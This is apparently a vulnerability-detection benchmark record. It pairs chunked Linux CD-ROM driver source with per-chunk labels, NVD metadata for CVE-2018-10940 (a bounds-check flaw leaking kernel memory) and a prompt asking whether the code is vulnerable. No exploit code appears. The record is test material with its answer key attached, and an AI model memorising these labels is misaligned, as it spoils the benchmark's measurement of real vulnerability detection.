CDO_CHECK_TYPE;\n\t\telse\n\t\t\tcdi->options &= ~CDO_CHECK_TYPE;\n\t}\n\tmutex_unlock(&cdrom_mutex);\n}", "static int cdrom_sysctl_handler(struct ctl_table *ctl, int write,\n\t\t\t\tvoid __user *buffer, size_t *lenp, loff_t *ppos)\n{\n\tint ret;\n\t\n\tret = proc_dointvec(ctl, write, buffer, lenp, ppos);", "\tif (write) {\n\t\n\t\t/* we only care for 1 or 0. */\n\t\tautoclose = !!cdrom_sysctl_settings.autoclose;\n\t\tautoeject = !!cdrom_sysctl_settings.autoeject;\n\t\tdebug\t = !!cdrom_sysctl_settings.debug;\n\t\tlockdoor = !!cdrom_sysctl_settings.lock;\n\t\tcheck_media_type = !!cdrom_sysctl_settings.check;", "\t\t/* update the option flags according to the changes. we\n\t\t don't have per device options through sysctl yet,\n\t\t but we will have and then this will disappear. */\n\t\tcdrom_update_settings();\n\t}", " return ret;\n}", "/* Place files in /proc/sys/dev/cdrom */\nstatic struct ctl_table cdrom_table[] = {\n\t{\n\t\t.procname\t= \"info\",\n\t\t.data\t\t= &cdrom_sysctl_settings.info, \n\t\t.maxlen\t\t= CDROM_STR_SIZE,\n\t\t.mode\t\t= 0444,\n\t\t.proc_handler\t= cdrom_sysctl_info,\n\t},\n\t{\n\t\t.procname\t= \"autoclose\",\n\t\t.data\t\t= &cdrom_sysctl_settings.autoclose,\n\t\t.maxlen\t\t= sizeof(int),\n\t\t.mode\t\t= 0644,\n\t\t.proc_handler\t= cdrom_sysctl_handler,\n\t},\n\t{\n\t\t.procname\t= \"autoeject\",\n\t\t.data\t\t= &cdrom_sysctl_settings.autoeject,\n\t\t.maxlen\t\t= sizeof(int),\n\t\t.mode\t\t= 0644,\n\t\t.proc_handler\t= cdrom_sysctl_handler,\n\t},\n\t{\n\t\t.procname\t= \"debug\",\n\t\t.data\t\t= &cdrom_sysctl_settings.debug,\n\t\t.maxlen\t\t= sizeof(int),\n\t\t.mode\t\t= 0644,\n\t\t.proc_handler\t= cdrom_sysctl_handler,\n\t},\n\t{\n\t\t.procname\t= \"lock\",\n\t\t.data\t\t= &cdrom_sysctl_settings.lock,\n\t\t.maxlen\t\t= sizeof(int),\n\t\t.mode\t\t= 0644,\n\t\t.proc_handler\t= cdrom_sysctl_handler,\n\t},\n\t{\n\t\t.procname\t= \"check_media\",\n\t\t.data\t\t= &cdrom_sysctl_settings.check,\n\t\t.maxlen\t\t= sizeof(int),\n\t\t.mode\t\t= 0644,\n\t\t.proc_handler\t= cdrom_sysctl_handler\n\t},\n\t{ }\n};", "static struct ctl_table cdrom_cdrom_table[] = {\n\t{\n\t\t.procname\t= \"cdrom\",\n\t\t.maxlen\t\t= 0,\n\t\t.mode\t\t= 0555,\n\t\t.child\t\t= cdrom_table,\n\t},\n\t{ }\n};", "/* Make sure that /proc/sys/dev is there */\nstatic struct ctl_table cdrom_root_table[] = {\n\t{\n\t\t.procname\t= \"dev\",\n\t\t.maxlen\t\t= 0,\n\t\t.mode\t\t= 0555,\n\t\t.child\t\t= cdrom_cdrom_table,\n\t},\n\t{ }\n};\nstatic struct ctl_table_header *cdrom_sysctl_header;", "static void cdrom_sysctl_register(void)\n{\n\tstatic int initialized;", "\tif (initialized == 1)\n\t\treturn;", "\tcdrom_sysctl_header = register_sysctl_table(cdrom_root_table);", "\t/* set the defaults */\n\tcdrom_sysctl_settings.autoclose = autoclose;\n\tcdrom_sysctl_settings.autoeject = autoeject;\n\tcdrom_sysctl_settings.debug = debug;\n\tcdrom_sysctl_settings.lock = lockdoor;\n\tcdrom_sysctl_settings.check = check_media_type;", "\tinitialized = 1;\n}", "static void cdrom_sysctl_unregister(void)\n{\n\tif (cdrom_sysctl_header)\n\t\tunregister_sysctl_table(cdrom_sysctl_header);\n}", "#else /* CONFIG_SYSCTL */", "static void cdrom_sysctl_register(void)\n{\n}", "static void cdrom_sysctl_unregister(void)\n{\n}", "#endif /* CONFIG_SYSCTL */", "static int __init cdrom_init(void)\n{\n\tcdrom_sysctl_register();", "\treturn 0;\n}", "static void __exit cdrom_exit(void)\n{\n\tpr_info(\"Uniform CD-ROM driver unloaded\\n\");\n\tcdrom_sysctl_unregister();\n}", "module_init(cdrom_init);\nmodule_exit(cdrom_exit);\nMODULE_LICENSE(\"GPL\");" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [2375], "buggy_code_start_loc": [2374], "filenames": ["drivers/cdrom/cdrom.c"], "fixing_code_end_loc": [2375], "fixing_code_start_loc": [2374], "message": "The cdrom_ioctl_media_changed function in drivers/cdrom/cdrom.c in the Linux kernel before 4.16.6 allows local attackers to use a incorrect bounds check in the CDROM driver CDROM_MEDIA_CHANGED ioctl to read out kernel memory.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "9CA128AB-2A36-4F06-9C2D-5A2D171DDB00", "versionEndExcluding": "4.16.6", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "16F59A04-14CF-49E2-9973-645477EA09DA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "The cdrom_ioctl_media_changed function in drivers/cdrom/cdrom.c in the Linux kernel before 4.16.6 allows local attackers to use a incorrect bounds check in the CDROM driver CDROM_MEDIA_CHANGED ioctl to read out kernel memory."}, {"lang": "es", "value": "La funci\u00f3n cdrom_ioctl_media_changed en drivers/cdrom/cdrom.c en el kernel de Linux en versiones anteriores a la 4.16.6 permite que atacantes locales empleen una comprobaci\u00f3n de l\u00edmites incorrecta en el ioctl CDROM_MEDIA_CHANGED del controlador CDROM para leer la memoria del kernel."}], "evaluatorComment": null, "id": "CVE-2018-10940", "lastModified": "2018-10-31T10:30:52.887", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 4.9, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:L/AC:L/Au:N/C:N/I:N/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2018-05-09T17:29:00.290", "references": [{"source": "cve@mitre.org", "tags": ["Patch"], "url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9de4ee40547fd315d4a0ed1dd15a2fa3559ad707"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory", "VDB Entry"], "url": "http://www.securityfocus.com/bid/104154"}, {"source": "cve@mitre.org", "tags": null, "url": "https://access.redhat.com/errata/RHSA-2018:2948"}, {"source": "cve@mitre.org", "tags": null, "url": "https://access.redhat.com/errata/RHSA-2018:3083"}, {"source": "cve@mitre.org", "tags": null, "url": "https://access.redhat.com/errata/RHSA-2018:3096"}, {"source": "cve@mitre.org", "tags": ["Patch"], "url": "https://github.com/torvalds/linux/commit/9de4ee40547fd315d4a0ed1dd15a2fa3559ad707"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2018/06/msg00000.html"}, {"source": "cve@mitre.org", "tags": null, "url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00015.html"}, {"source": "cve@mitre.org", "tags": null, "url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00016.html"}, {"source": "cve@mitre.org", "tags": null, "url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00020.html"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://usn.ubuntu.com/3676-1/"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://usn.ubuntu.com/3676-2/"}, {"source": "cve@mitre.org", "tags": null, "url": "https://usn.ubuntu.com/3695-1/"}, {"source": "cve@mitre.org", "tags": null, "url": "https://usn.ubuntu.com/3695-2/"}, {"source": "cve@mitre.org", "tags": null, "url": "https://usn.ubuntu.com/3754-1/"}, {"source": "cve@mitre.org", "tags": ["Release Notes"], "url": "https://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.16.6"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-119"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/torvalds/linux/commit/9de4ee40547fd315d4a0ed1dd15a2fa3559ad707"}, "type": "CWE-119"}
131
Determine whether the {function_name} code is vulnerable or not.
[ "/* linux/drivers/cdrom/cdrom.c\n Copyright (c) 1996, 1997 David A. van Leeuwen.\n Copyright (c) 1997, 1998 Erik Andersen <andersee@debian.org>\n Copyright (c) 1998, 1999 Jens Axboe <axboe@image.dk>", " May be copied or modified under the terms of the GNU General Public\n License. See linux/COPYING for more information.", " Uniform CD-ROM driver for Linux.\n See Documentation/cdrom/cdrom-standard.tex for usage information.", " The routines in the file provide a uniform interface between the\n software that uses CD-ROMs and the various low-level drivers that\n actually talk to the hardware. Suggestions are welcome.\n Patches that work are more welcome though. ;-)", " To Do List:\n ----------------------------------", " -- Modify sysctl/proc interface. I plan on having one directory per\n drive, with entries for outputing general drive information, and sysctl\n based tunable parameters such as whether the tray should auto-close for\n that drive. Suggestions (or patches) for this welcome!", "\n Revision History\n ----------------------------------\n 1.00 Date Unknown -- David van Leeuwen <david@tm.tno.nl>\n -- Initial version by David A. van Leeuwen. I don't have a detailed\n changelog for the 1.x series, David?", "2.00 Dec 2, 1997 -- Erik Andersen <andersee@debian.org>\n -- New maintainer! As David A. van Leeuwen has been too busy to actively\n maintain and improve this driver, I am now carrying on the torch. If\n you have a problem with this driver, please feel free to contact me.", " -- Added (rudimentary) sysctl interface. I realize this is really weak\n right now, and is _very_ badly implemented. It will be improved...", " -- Modified CDROM_DISC_STATUS so that it is now incorporated into\n the Uniform CD-ROM driver via the cdrom_count_tracks function.\n The cdrom_count_tracks function helps resolve some of the false\n assumptions of the CDROM_DISC_STATUS ioctl, and is also used to check\n for the correct media type when mounting or playing audio from a CD.", " -- Remove the calls to verify_area and only use the copy_from_user and\n copy_to_user stuff, since these calls now provide their own memory\n checking with the 2.1.x kernels.", " -- Major update to return codes so that errors from low-level drivers\n are passed on through (thanks to Gerd Knorr for pointing out this\n problem).", " -- Made it so if a function isn't implemented in a low-level driver,\n ENOSYS is now returned instead of EINVAL.", " -- Simplified some complex logic so that the source code is easier to read.", " -- Other stuff I probably forgot to mention (lots of changes).", "2.01 to 2.11 Dec 1997-Jan 1998\n -- TO-DO! Write changelogs for 2.01 to 2.12.", "2.12 Jan 24, 1998 -- Erik Andersen <andersee@debian.org>\n -- Fixed a bug in the IOCTL_IN and IOCTL_OUT macros. It turns out that\n copy_*_user does not return EFAULT on error, but instead returns the number \n of bytes not copied. I was returning whatever non-zero stuff came back from \n the copy_*_user functions directly, which would result in strange errors.", "2.13 July 17, 1998 -- Erik Andersen <andersee@debian.org>\n -- Fixed a bug in CDROM_SELECT_SPEED where you couldn't lower the speed\n of the drive. Thanks to Tobias Ringstr|m <tori@prosolvia.se> for pointing\n this out and providing a simple fix.\n -- Fixed the procfs-unload-module bug with the fill_inode procfs callback.\n thanks to Andrea Arcangeli\n -- Fixed it so that the /proc entry now also shows up when cdrom is\n compiled into the kernel. Before it only worked when loaded as a module.", " 2.14 August 17, 1998 -- Erik Andersen <andersee@debian.org>\n -- Fixed a bug in cdrom_media_changed and handling of reporting that\n the media had changed for devices that _don't_ implement media_changed. \n Thanks to Grant R. Guenther <grant@torque.net> for spotting this bug.\n -- Made a few things more pedanticly correct.", "2.50 Oct 19, 1998 - Jens Axboe <axboe@image.dk>\n -- New maintainers! Erik was too busy to continue the work on the driver,\n so now Chris Zwilling <chris@cloudnet.com> and Jens Axboe <axboe@image.dk>\n will do their best to follow in his footsteps\n \n 2.51 Dec 20, 1998 - Jens Axboe <axboe@image.dk>\n -- Check if drive is capable of doing what we ask before blindly changing\n cdi->options in various ioctl.\n -- Added version to proc entry.\n \n 2.52 Jan 16, 1999 - Jens Axboe <axboe@image.dk>\n -- Fixed an error in open_for_data where we would sometimes not return\n the correct error value. Thanks Huba Gaspar <huba@softcell.hu>.\n -- Fixed module usage count - usage was based on /proc/sys/dev\n instead of /proc/sys/dev/cdrom. This could lead to an oops when other\n modules had entries in dev. Feb 02 - real bug was in sysctl.c where\n dev would be removed even though it was used. cdrom.c just illuminated\n that bug.\n \n 2.53 Feb 22, 1999 - Jens Axboe <axboe@image.dk>\n -- Fixup of several ioctl calls, in particular CDROM_SET_OPTIONS has\n been \"rewritten\" because capabilities and options aren't in sync. They\n should be...\n -- Added CDROM_LOCKDOOR ioctl. Locks the door and keeps it that way.\n -- Added CDROM_RESET ioctl.\n -- Added CDROM_DEBUG ioctl. Enable debug messages on-the-fly.\n -- Added CDROM_GET_CAPABILITY ioctl. This relieves userspace programs\n from parsing /proc/sys/dev/cdrom/info.\n \n 2.54 Mar 15, 1999 - Jens Axboe <axboe@image.dk>\n -- Check capability mask from low level driver when counting tracks as\n per suggestion from Corey J. Scotts <cstotts@blue.weeg.uiowa.edu>.\n \n 2.55 Apr 25, 1999 - Jens Axboe <axboe@image.dk>\n -- autoclose was mistakenly checked against CDC_OPEN_TRAY instead of\n CDC_CLOSE_TRAY.\n -- proc info didn't mask against capabilities mask.\n \n 3.00 Aug 5, 1999 - Jens Axboe <axboe@image.dk>\n -- Unified audio ioctl handling across CD-ROM drivers. A lot of the\n code was duplicated before. Drives that support the generic packet\n interface are now being fed packets from here instead.\n -- First attempt at adding support for MMC2 commands - for DVD and\n CD-R(W) drives. Only the DVD parts are in now - the interface used is\n the same as for the audio ioctls.\n -- ioctl cleanups. if a drive couldn't play audio, it didn't get\n a change to perform device specific ioctls as well.\n -- Defined CDROM_CAN(CDC_XXX) for checking the capabilities.\n -- Put in sysctl files for autoclose, autoeject, check_media, debug,\n and lock.\n -- /proc/sys/dev/cdrom/info has been updated to also contain info about\n CD-Rx and DVD capabilities.\n -- Now default to checking media type.\n -- CDROM_SEND_PACKET ioctl added. The infrastructure was in place for\n doing this anyway, with the generic_packet addition.\n \n 3.01 Aug 6, 1999 - Jens Axboe <axboe@image.dk>\n -- Fix up the sysctl handling so that the option flags get set\n correctly.\n -- Fix up ioctl handling so the device specific ones actually get\n called :).\n \n 3.02 Aug 8, 1999 - Jens Axboe <axboe@image.dk>\n -- Fixed volume control on SCSI drives (or others with longer audio\n page).\n -- Fixed a couple of DVD minors. Thanks to Andrew T. Veliath\n <andrewtv@usa.net> for telling me and for having defined the various\n DVD structures and ioctls in the first place! He designed the original\n DVD patches for ide-cd and while I rearranged and unified them, the\n interface is still the same.\n \n 3.03 Sep 1, 1999 - Jens Axboe <axboe@image.dk>\n -- Moved the rest of the audio ioctls from the CD-ROM drivers here. Only\n CDROMREADTOCENTRY and CDROMREADTOCHDR are left.\n -- Moved the CDROMREADxxx ioctls in here.\n -- Defined the cdrom_get_last_written and cdrom_get_next_block as ioctls\n and exported functions.\n -- Erik Andersen <andersen@xmission.com> modified all SCMD_ commands\n to now read GPCMD_ for the new generic packet interface. All low level\n drivers are updated as well.\n -- Various other cleanups.", " 3.04 Sep 12, 1999 - Jens Axboe <axboe@image.dk>\n -- Fixed a couple of possible memory leaks (if an operation failed and\n we didn't free the buffer before returning the error).\n -- Integrated Uniform CD Changer handling from Richard Sharman\n <rsharman@pobox.com>.\n -- Defined CD_DVD and CD_CHANGER log levels.\n -- Fixed the CDROMREADxxx ioctls.\n -- CDROMPLAYTRKIND uses the GPCMD_PLAY_AUDIO_MSF command - too few\n drives supported it. We lose the index part, however.\n -- Small modifications to accommodate opens of /dev/hdc1, required\n for ide-cd to handle multisession discs.\n -- Export cdrom_mode_sense and cdrom_mode_select.\n -- init_cdrom_command() for setting up a cgc command.\n \n 3.05 Oct 24, 1999 - Jens Axboe <axboe@image.dk>\n -- Changed the interface for CDROM_SEND_PACKET. Before it was virtually\n impossible to send the drive data in a sensible way.\n -- Lowered stack usage in mmc_ioctl(), dvd_read_disckey(), and\n dvd_read_manufact.\n -- Added setup of write mode for packet writing.\n -- Fixed CDDA ripping with cdda2wav - accept much larger requests of\n number of frames and split the reads in blocks of 8.", " 3.06 Dec 13, 1999 - Jens Axboe <axboe@image.dk>\n -- Added support for changing the region of DVD drives.\n -- Added sense data to generic command.", " 3.07 Feb 2, 2000 - Jens Axboe <axboe@suse.de>\n -- Do same \"read header length\" trick in cdrom_get_disc_info() as\n we do in cdrom_get_track_info() -- some drive don't obey specs and\n fail if they can't supply the full Mt Fuji size table.\n -- Deleted stuff related to setting up write modes. It has a different\n home now.\n -- Clear header length in mode_select unconditionally.\n -- Removed the register_disk() that was added, not needed here.", " 3.08 May 1, 2000 - Jens Axboe <axboe@suse.de>\n -- Fix direction flag in setup_send_key and setup_report_key. This\n gave some SCSI adapters problems.\n -- Always return -EROFS for write opens\n -- Convert to module_init/module_exit style init and remove some\n of the #ifdef MODULE stuff\n -- Fix several dvd errors - DVD_LU_SEND_ASF should pass agid,\n DVD_HOST_SEND_RPC_STATE did not set buffer size in cdb, and\n dvd_do_auth passed uninitialized data to drive because init_cdrom_command\n did not clear a 0 sized buffer.\n \n 3.09 May 12, 2000 - Jens Axboe <axboe@suse.de>\n -- Fix Video-CD on SCSI drives that don't support READ_CD command. In\n that case switch block size and issue plain READ_10 again, then switch\n back.", " 3.10 Jun 10, 2000 - Jens Axboe <axboe@suse.de>\n -- Fix volume control on CD's - old SCSI-II drives now use their own\n code, as doing MODE6 stuff in here is really not my intention.\n -- Use READ_DISC_INFO for more reliable end-of-disc.", " 3.11 Jun 12, 2000 - Jens Axboe <axboe@suse.de>\n -- Fix bug in getting rpc phase 2 region info.\n -- Reinstate \"correct\" CDROMPLAYTRKIND", " 3.12 Oct 18, 2000 - Jens Axboe <axboe@suse.de>\n -- Use quiet bit on packet commands not known to work", " 3.20 Dec 17, 2003 - Jens Axboe <axboe@suse.de>\n -- Various fixes and lots of cleanups not listed :-)\n -- Locking fixes\n -- Mt Rainier support\n -- DVD-RAM write open fixes", " Nov 5 2001, Aug 8 2002. Modified by Andy Polyakov\n <appro@fy.chalmers.se> to support MMC-3 compliant DVD+RW units.", " Modified by Nigel Kukard <nkukard@lbsd.net> - support DVD+RW\n 2.4.x patch by Andy Polyakov <appro@fy.chalmers.se>", "-------------------------------------------------------------------------*/", "#define pr_fmt(fmt) KBUILD_MODNAME \": \" fmt", "#define REVISION \"Revision: 3.20\"\n#define VERSION \"Id: cdrom.c 3.20 2003/12/17\"", "/* I use an error-log mask to give fine grain control over the type of\n messages dumped to the system logs. The available masks include: */\n#define CD_NOTHING 0x0\n#define CD_WARNING\t0x1\n#define CD_REG_UNREG\t0x2\n#define CD_DO_IOCTL\t0x4\n#define CD_OPEN\t\t0x8\n#define CD_CLOSE\t0x10\n#define CD_COUNT_TRACKS 0x20\n#define CD_CHANGER\t0x40\n#define CD_DVD\t\t0x80", "/* Define this to remove _all_ the debugging messages */\n/* #define ERRLOGMASK CD_NOTHING */\n#define ERRLOGMASK CD_WARNING\n/* #define ERRLOGMASK (CD_WARNING|CD_OPEN|CD_COUNT_TRACKS|CD_CLOSE) */\n/* #define ERRLOGMASK (CD_WARNING|CD_REG_UNREG|CD_DO_IOCTL|CD_OPEN|CD_CLOSE|CD_COUNT_TRACKS) */", "#include <linux/module.h>\n#include <linux/fs.h>\n#include <linux/major.h>\n#include <linux/types.h>\n#include <linux/errno.h>\n#include <linux/kernel.h>\n#include <linux/mm.h>\n#include <linux/slab.h> \n#include <linux/cdrom.h>\n#include <linux/sysctl.h>\n#include <linux/proc_fs.h>\n#include <linux/blkpg.h>\n#include <linux/init.h>\n#include <linux/fcntl.h>\n#include <linux/blkdev.h>\n#include <linux/times.h>\n#include <linux/uaccess.h>\n#include <scsi/scsi_request.h>", "/* used to tell the module to turn on full debugging messages */\nstatic bool debug;\n/* default compatibility mode */\nstatic bool autoclose=1;\nstatic bool autoeject;\nstatic bool lockdoor = 1;\n/* will we ever get to use this... sigh. */\nstatic bool check_media_type;\n/* automatically restart mrw format */\nstatic bool mrw_format_restart = 1;\nmodule_param(debug, bool, 0);\nmodule_param(autoclose, bool, 0);\nmodule_param(autoeject, bool, 0);\nmodule_param(lockdoor, bool, 0);\nmodule_param(check_media_type, bool, 0);\nmodule_param(mrw_format_restart, bool, 0);", "static DEFINE_MUTEX(cdrom_mutex);", "static const char *mrw_format_status[] = {\n\t\"not mrw\",\n\t\"bgformat inactive\",\n\t\"bgformat active\",\n\t\"mrw complete\",\n};", "static const char *mrw_address_space[] = { \"DMA\", \"GAA\" };", "#if (ERRLOGMASK != CD_NOTHING)\n#define cd_dbg(type, fmt, ...)\t\t\t\t\\\ndo {\t\t\t\t\t\t\t\\\n\tif ((ERRLOGMASK & type) || debug == 1)\t\t\\\n\t\tpr_debug(fmt, ##__VA_ARGS__);\t\t\\\n} while (0)\n#else\n#define cd_dbg(type, fmt, ...)\t\t\t\t\\\ndo {\t\t\t\t\t\t\t\\\n\tif (0 && (ERRLOGMASK & type) || debug == 1)\t\\\n\t\tpr_debug(fmt, ##__VA_ARGS__);\t\t\\\n} while (0)\n#endif", "/* The (cdo->capability & ~cdi->mask & CDC_XXX) construct was used in\n a lot of places. This macro makes the code more clear. */\n#define CDROM_CAN(type) (cdi->ops->capability & ~cdi->mask & (type))", "/*\n * Another popular OS uses 7 seconds as the hard timeout for default\n * commands, so it is a good choice for us as well.\n */\n#define CDROM_DEF_TIMEOUT\t(7 * HZ)", "/* Not-exported routines. */", "static void cdrom_sysctl_register(void);", "static LIST_HEAD(cdrom_list);", "int cdrom_dummy_generic_packet(struct cdrom_device_info *cdi,\n\t\t\t struct packet_command *cgc)\n{\n\tif (cgc->sense) {\n\t\tcgc->sense->sense_key = 0x05;\n\t\tcgc->sense->asc = 0x20;\n\t\tcgc->sense->ascq = 0x00;\n\t}", "\tcgc->stat = -EIO;\n\treturn -EIO;\n}\nEXPORT_SYMBOL(cdrom_dummy_generic_packet);", "static int cdrom_flush_cache(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_FLUSH_CACHE;", "\tcgc.timeout = 5 * 60 * HZ;", "\treturn cdi->ops->generic_packet(cdi, &cgc);\n}", "/* requires CD R/RW */\nstatic int cdrom_get_disc_info(struct cdrom_device_info *cdi,\n\t\t\t disc_information *di)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct packet_command cgc;\n\tint ret, buflen;", "\t/* set up command and get the disc info */\n\tinit_cdrom_command(&cgc, di, sizeof(*di), CGC_DATA_READ);\n\tcgc.cmd[0] = GPCMD_READ_DISC_INFO;\n\tcgc.cmd[8] = cgc.buflen = 2;\n\tcgc.quiet = 1;", "\tret = cdo->generic_packet(cdi, &cgc);\n\tif (ret)\n\t\treturn ret;", "\t/* not all drives have the same disc_info length, so requeue\n\t * packet with the length the drive tells us it can supply\n\t */\n\tbuflen = be16_to_cpu(di->disc_information_length) +\n\t\tsizeof(di->disc_information_length);", "\tif (buflen > sizeof(disc_information))\n\t\tbuflen = sizeof(disc_information);", "\tcgc.cmd[8] = cgc.buflen = buflen;\n\tret = cdo->generic_packet(cdi, &cgc);\n\tif (ret)\n\t\treturn ret;", "\t/* return actual fill size */\n\treturn buflen;\n}", "/* This macro makes sure we don't have to check on cdrom_device_ops\n * existence in the run-time routines below. Change_capability is a\n * hack to have the capability flags defined const, while we can still\n * change it here without gcc complaining at every line.\n */\n#define ENSURE(call, bits)\t\t\t\\\ndo {\t\t\t\t\t\t\\\n\tif (cdo->call == NULL)\t\t\t\\\n\t\t*change_capability &= ~(bits);\t\\\n} while (0)", "/*\n * the first prototypes used 0x2c as the page code for the mrw mode page,\n * subsequently this was changed to 0x03. probe the one used by this drive\n */\nstatic int cdrom_mrw_probe_pc(struct cdrom_device_info *cdi)\n{\n\tstruct packet_command cgc;\n\tchar buffer[16];", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.timeout = HZ;\n\tcgc.quiet = 1;", "\tif (!cdrom_mode_sense(cdi, &cgc, MRW_MODE_PC, 0)) {\n\t\tcdi->mrw_mode_page = MRW_MODE_PC;\n\t\treturn 0;\n\t} else if (!cdrom_mode_sense(cdi, &cgc, MRW_MODE_PC_PRE1, 0)) {\n\t\tcdi->mrw_mode_page = MRW_MODE_PC_PRE1;\n\t\treturn 0;\n\t}", "\treturn 1;\n}", "static int cdrom_is_mrw(struct cdrom_device_info *cdi, int *write)\n{\n\tstruct packet_command cgc;\n\tstruct mrw_feature_desc *mfd;\n\tunsigned char buffer[16];\n\tint ret;", "\t*write = 0;", "\tinit_cdrom_command(&cgc, buffer, sizeof(buffer), CGC_DATA_READ);", "\tcgc.cmd[0] = GPCMD_GET_CONFIGURATION;\n\tcgc.cmd[3] = CDF_MRW;\n\tcgc.cmd[8] = sizeof(buffer);\n\tcgc.quiet = 1;", "\tif ((ret = cdi->ops->generic_packet(cdi, &cgc)))\n\t\treturn ret;", "\tmfd = (struct mrw_feature_desc *)&buffer[sizeof(struct feature_header)];\n\tif 